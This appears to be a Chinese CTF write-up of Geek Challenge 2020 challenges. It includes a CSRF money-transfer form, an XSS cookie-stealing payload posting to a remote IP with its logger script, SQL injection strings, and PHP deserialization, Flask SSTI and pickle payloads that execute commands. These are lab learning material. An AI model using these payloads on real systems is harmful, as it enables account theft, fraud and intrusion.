打開後狀態碼405,555555,而後看了一下報頭存在請求錯誤,換成POST請求後,查看到源碼javascript
<?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allowed"); exit(); } else { if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){ show_source(__FILE__); } else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){ phpinfo(); // collect information from phpinfo! } } Payload:POST:roam1[]=1&roam2[]=2
去phpinfo查看內容,發現存在f1444aagggg.php頁面,打開又沒內容,再去報文看看,返回包報頭看到flag,爲SYC{w31c0m3_t0_5yc_r0@m_php1}php
一開始不知道怎麼作,而後羣裏管理員說修復了BOT,覺得是存儲型XSS的考點,而後嘗試了幾種方法都沒做用。而後就去休息了,回來後發現給了hint,說了是CSRF的考點,沒接觸過,百度學習了一下,上個連接:https://juejin.im/post/6844903689702866952,看了一下應該是從提交報告讓BOT轉帳給咱們。html
先用Burp構造一個CSRF的Poc,這裏須要補充一句:java
讓他發送提交的做用。這裏構造好後要放在VPS上,這裏謝謝m3w師傅提供!python
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="target" value="atao" /> <input type="hidden" name="money" value="10000" /> <input type="hidden" name="messages" value="xxx" /> <input type="submit" value="Submit request" /> </form> <script>document.forms[0].submit(); </script> </body> </html>
有個驗證碼須要md5加密,寫個腳本git
#coding: utf-8 import hashlib s = '' dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' md5 = hashlib.md5(dic).hexdigest() for a in dic: for b in dic: for c in dic: for d in dic: t = str(a)+str(b)+str(c)+str(d) md5 = hashlib.md5(t).hexdigest() if md5[0:5] == 'b2156': print t print md5
提交的報告內容web
<script> new Image().src = 'Payload的網址'; </script>
過一下子就轉錢過來了,而後購買flag便可,最後flag爲SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}sql
打開後提示爲查看源碼,經過查看得到註釋內容,上面還有使用base64解碼的字樣,即解碼註釋內容得到flag,爲SYC{F1@_4s_h4Lpfullllll}express
根據提示存在備份文件,嘗試發現爲www.zip,得到一個假的flag和源碼,源碼以下flask
<html> <head> <title>Lola's website1.0</title> </head> <body> <?php echo '<h1>welcome to my website</h1>'; ?> <?php echo '<p>i will never forget to backup my website......</p>'; ?> <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?> </body> </html> <?php $key1 = $_POST['a']; $key2 = base64_decode('c3ljbDB2ZXI='); if($key1 === $key2) { //this is a true flag echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>'; } ?>
經過POST請求a變量而後比較base64解碼內容得到flag,Payload:POST:a=sycl0ver,得到flag爲SYC{Backup_1s_4_good_h4bit_l0l}
經過提示知道是使用GitHack得到源文件,可是源文件打開後獲得的是flag is toooo old!,根據題目提示應該是版本的問題,經過命令git log查看,發現存在另外一個版本有flag的,使用命令git diff 3796466675a1db323e42170def92bee71344a2ee進行對比,得到flag爲SYC{I_l0ve_sycl0ver_l0l}
進去後到最下面看到一段代碼,GET請求傳入username變量,POST請求傳入passwd變量,兩個變量分別等於admin和syclover得到flag
Payload:
GET:?username=admin
POST:passwd=syclover
flag爲SYC{d0_y0u_k0nw_GET?}
打開後看到存在.bak的文件,而後用蟻劍鏈接,根目錄下存在flag,flag爲SYC{1iuzHuang_yyd_G0d!}
打開後以下:
Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.
Note that a and b cannot be equal.
傳一個a和b不相等且strcmp後置空,一個等於數組就能夠繞過了
接着是:
OKOK,You got the first step.
Please POST a variable c that is not a number to make it equal to 123
傳入c=123,但不是數字,應該是弱比較
Payload:GET:?a=x&b[];POST:c=123e
flag爲SYC{php_4s_so_funny}
存在一個目錄穿梭和一個讀取文件兩個頁面
分別查看了兩個文件,目錄穿梭使用的是exec("ls $search_dir", $contents);,不是$contents = scandir($search_dir);,那可能命令執行的漏洞。
可是不知道flag在哪裏,可是可使用find / -name flag配合``反引號帶出flag文件的位置
題目給出了提示:1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.
先找找與僞協議有關的內容,這裏從url能夠看出來,http://173.82.206.142:8006/index.php?page=home,後面home應該是存在漏洞的,是用僞協議進行讀取,http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home
而後就是在登錄的地方得到一下源碼,主要是驗證的地方
admin/user.php(僅列出主要代碼)
<?php error_reporting(0); session_start(); $logined = false; if (isset($_POST['username']) and isset($_POST['password'])){ if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){ // No one knows my password, including myself $logined = true; $_SESSION['status'] = $logined; } } if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){ echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>"; die(); } ?>
只須要驗證對if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就能夠登錄了,username很好實現,可是password和SESSION就不容易,可是置空的話就能夠很輕易實現,完成登錄了。
接着從第二點提示能夠看出,應該是文件上傳的洞,找了一下發現只有上傳頭像的功能,那應該就是這裏了,發現只能上傳圖片,最後解析成了圖片,想到了文件包含,能夠是用zip協議這類的,這裏將php文件壓縮後,更改後綴名,上傳文件,而後訪問?page=./路徑+上傳文件名%23壓縮包中的文件名,便可。這裏#必定要urlcode編碼。
?id=1' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1 判斷存在sql報錯注入 先嚐試 ?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) 返回 hacker? 再試試別的報錯函數,這裏想到了上一屆極客大挑戰的extractvalue函數,這裏用^進行鏈接 ?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23 返回 XPATH syntax error: '~geek_sql' 而後查看錶名 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23 返回 XPATH syntax error: '~blog,fllllag' 查看列名 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23 返回 XPATH syntax error: '~id,fllllllag' 查看fllllag表中的fllllllag列 ?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23 返回 XPATH syntax error: '~welcome_to_syclover,longlone_ne' 好像沒有回顯所有內容,應該是extractvalue函數存在回顯長度,配合limit回顯每一行的內容 ?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23 返回 XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'
打開後是一個留言網站,測試了一下只有留言功能,想到了XSS,不過存在過濾,手工測試了一下過濾了"."、"%"、"&"、"=",這個驗證機制真是要人命,百度了一圈都沒有結果。後來看到了JSfuck,這個好像就是爲了防止xss中被waf過濾出現的。
new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;
將上面的內容經過jsfuck加密,而後用<script></script>框起來,發送,過一下子就能夠看到flag了。
IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}
原本是想用XSS平臺作的,可是一直沒成功,感受是本身太菜了不會用,由於只會用上面給的代碼,而後借了Firebasky師傅vps用寫了個php,代碼以下:
<?php $cookie = $_GET['cookie']; $ip = getenv ('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen("cookie.txt","a"); fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n"); fclose($fp); ?>
源碼以下:
<?php class pop { public $aaa; public static $bbb = false; public function __wakeup() { //Do you know CVE? echo "The class pop should never be serialized."; $this->aaa = NULL; } public function __destruct() { for ($i=0; $i<2; $i++) { if (self::$bbb) { $this->aaa[1]($this->aaa[2]); } else { self::$bbb = call_user_func($this->aaa["object"]); } } } } class chain { private $AFKL; protected function getAFKL() { return $this->AFKL; } } class epic extends chain { public $aaa; public static $bbb = false; public function __invoke() { return self::$bbb; } public function __call($name, $params) { return $this->aaa->$name($params); } } if (isset($_GET["code"])) { unserialize(base64_decode($_GET["code"])); } else { highlight_file(__FILE__); }
頗有趣的一道題目,被帶着一直走,思路沒對,一直覺得要和下面那個繼承類的東西合在一塊兒,而後輸出AFKL的值,一開始看到__invoke()魔術方法,感受很開心,而後測試後發現不行,由於epic類中的bbb也是靜態的false,因此調用函數後,pop類中的bbb仍是false,因此這裏應該是要調用函數,而後取執行$this->aaa[1]($this->aaa[2]),這個也能夠從for循環中看出來,由於for循環只作兩次,說明第一次去了回調函數,第二次應該不是去回調函數了。有了接下來的一段php代碼
<?php class pop { public $aaa; public static $bbb = false; } class chain { private $AFKL; protected function getAFKL() { return $this->AFKL; } } class epic extends chain { public $aaa; public static $bbb = false; } $a = new pop(); $a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL'); object(pop)#1 (2) { ["aaa"]=> NULL [""]=> array(3) { ["object"]=> string(7) "phpinfo" [1]=> string(4) "echo" [2]=> string(7) "getAFKL" } }
這段代碼存在一個最致命的錯誤,就是$a->$aaa,這個原本是想對aaa變量進行賦值的,可是前面寫了$,因此這裏出來的類會存在兩個變量,而後由於我一直沒看類的亞子,因此這裏卡成一個傻逼。不過之後也要記住對於類中的變量的賦值!!!
<?php error_reporting(0); class pop { public $aaa; public static $bbb = false; } $a = new pop(); $a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag'); echo base64_encode(str_replace(":1:",":2:",serialize($a)));
打開網站後是一個登錄框,查看一下源碼發現了,訪問後得到了網站的源碼,以下:
import re from flask import Flask, render_template_string, request import templates.templates as tp app = Flask(__name__) def isParamLegal(param): return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None) @app.route('/') @app.route('/index.php') def main(): indexTp = tp.head + tp.index + tp.foot return render_template_string(indexTp) @app.route('/login.php', methods=["POST"]) def login(): username = request.form.get('username') password = request.form.get('password') if(isParamLegal(username) and isParamLegal(password)): message = "Username:" + username + "&" + "Password:" + password else: message = "參數不合法" loginTmpTp = tp.head + tp.login + tp.foot loginTp = loginTmpTp % message return render_template_string(loginTp) @app.route("/hint.php") def hint(): with open(__file__, "rb") as f: file = f.read() return file if __name__ == '__main__': app.run(host="0.0.0.0")
考點知道了是SSTI,可是須要構造,不過存在一個自定義函數,對於單個username或者password進行了限制,不能單個構造出{{ }}或者{% %}這樣的內容,可是經過觀察,從message下手依舊是能夠的,將"{{"和"}}"分別給username和password變量。構造以下:
username = "{{'" password = "'.__class__}}" message = "Username:" + username + "&" + "Password:" + password print message #返回 Username:{{'&Password:'.__class__}} #在網站上測試返回 Username:<class 'str'> #因爲沒啥過濾很容就能夠得到flag了 Payload: username={{' password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}
訪問網址,沒看出來有啥內容,F12查看源碼得到:,GET請求傳入name變量後得到源碼,以下
from flask import Flask, request import base64 import pickle import io import sys import secret app = Flask(__name__) class YourSecret: def __init__(self, name): self.name = name class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': #只容許__main__模塊(白名單) return getattr(sys.modules['__main__'], name) #返回對象屬性值 raise pickle.UnpicklingError( "global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/') def start(): if request.args.get('name'): text = open(__file__, 'r', encoding='utf-8').read() return text else: return "我以前據說Longlone深藏着一個祕密,可是今天他竟然跟我說他把這個祕密藏在了一個地方,若是我能夠找到的話,他就會給我一些獎勵。<br>"\ "<br>可是他和我說要按他說的規矩來:必須湊夠兩我的才能開始遊戲,那麼,你願意和我一塊兒來嗎?<br>"\ "<br>你說你願意?那真的太好了,那麼,在開始以前,告訴我你的名字吧!<br>"\ "<!-- Let me GET your name, so we can get started. -->"\ @app.route('/secret', methods=['GET', 'POST']) def eql(): if request.method == 'POST': #POST請求才能夠繼續作 try: data = base64.b64decode(request.form.get('secret')) #傳入的secret變量進行base64解碼 if b'R' in data: #opcode代碼中不能存在"R"字符,opcode中常用經過R指令碼進行命令執行 return "嗯?還想開掛?當心把你關進神仙服!" else: ser_data = restricted_loads(data) #進行pickle.loads反序列化 if type(ser_data) is not YourSecret: #反序列化後的ser_data應該要屬於YourSecret類 return 'Are U sure this is longlone\'s secret?' if ser_data.name == YourSecret(secret.name).name: #這裏須要反序列化中的name等於secret類中的name值 return secret.flag #便可得到flag else: return 'The secret is incorrect!' except Exception as e: return repr(e) + '<br/>What do U want to do?' else: return "相信你也看到Longlone給咱們的提示了,那麼你能猜出他的祕密是什麼嗎?<br>" if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
重點代碼是/secret路由,分析寫在上面了,這裏能想到的方式有兩種:1)變量賦值,即在傳入反序列化字符串時,就讓name=secret.name,可是這裏多加了一個限制,修改了pickle.Unpickler.find_class()這個函數,使得咱們要調用secret.name時會報錯:_pickle.UnpicklingError: global 'secret.name' is forbidden,因此這裏使用不了這個方法;2)變量覆蓋,經過GLOBAL指令引入的變量,能夠看做是原變量的引用。當在棧上修改它的值時,也會致使原變量也被修改,這裏這主要就是利用了這個方法,原理的話以後會有一篇文章專門總結的。
Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu 轉成opcode編碼 \x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub. 簡單的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb." 使用的方式是變量覆蓋,RestrictedUnpickler.find_class方法能夠返回對象屬性值,其中操做符c能夠調用該方法,則有了c__main__\nsecret\n;模塊__dict__屬性是能夠進行修改的,構造一個字典來修改對應鍵爲何值,構造經過}(S'name'\nS'xxx'\nu完成,而後使用b指令修改__dict__;最後使用0指令將它彈出棧;後接一個YouSecret類轉成opcode字符串便可。
使用的是摩斯電碼,flag爲SYC{L1UZHU4NGIZ1Y1}
使用的是凱撒密碼,flag爲SYC{liuzhuangliuzhuang_bangbangbang}
將海報上的字符拼起來便可
看到了佛曰,爲與佛論禪,經過在線網站解碼http://www.keyfc.net/bbs/tools/tudoucode.aspx,得到flag爲SYC{i_l0ve_Japanese_wife}
使用IDA打開後,在main函數(不用F5僞代碼)中直接看到flag
應該是非預期了,IDA打開後在sub_140001010函數直接看到flag,flag爲SYC{First_Win64_DRIVER}
題目提示了簡單的異或,先看看主函數有沒有東西,發現了:if ( (char)(buf[i] ^ 0x44) != byte_4060[i] ),異或的點找到了,而後根據上面的內容buf[i]是輸入的字符串,因此要去看byte_4060[i]的內容,查看byte_4060得到下面的內容
char byte_4060[32] .data:0000000000004060 byte_4060 db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh .data:0000000000004060 ; DATA XREF: main+93↑o .data:0000000000004060 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h) .data:0000000000004060 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h //n dup(m)的意思爲n個m
將內容和0x44異或得到flag,腳本以下
a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39] b = 0x44 flag = '' for i in a: flag =flag + chr(i ^ b) print flag
flag爲SYC{simple_simple_xorrr_right??}
先用nc鏈接看看,看到以下
------------------------------------------ Can you help me to solve my math problem? ------------------------------------------ I have 20 tests ![0] num_1 = 180, num_2 = 428 I can't calculate the expression 'num_1 + num_2'. input your answer:
是一個加法,要循環20次就能夠得到flag了,這裏能夠直接計算20次加法,也可使用腳本,按照提示應該是要用腳本的。恰好上半年學了一點Pwn,這裏用一下。腳本以下
import re from pwn import * p = remote('81.69.0.47',1111) p.recvline() p.recvline() p.recvline() for i in range(0,20): put1 = p.recvline() put = p.recvline() calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','') calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','') #print calc1 #print calc2 s = str(eval(calc1+'+'+calc2)) #print s p.recvline() put2 = p.recvn(18) p.sendline(s) while True: strr = p.recvline() print strr if "SYC" in strr: break
Pwntools庫的一些經常使用函數 本地打開:p=process('./filename') 遠程打開:p=remote('ip地址',端口) 發送payload 1)p.send(payload)發生payload 2)p.sendline(payload)發送payload,並進行換行(末尾\n) 3)p.sendfter(some_string,payload)接收到some_string後,發送你的payload 接收返回內容 4)p.recvn(N)接受N個字符 5)p.recvline()接收一行輸出 6)p.recvline(N)接收N行輸出 7)p.recvuntil(some_string)接收到some_string爲止
本文做者:erR0Ratao
本文連接:https://www.cnblogs.com/erR0Ratao/p/14023017.html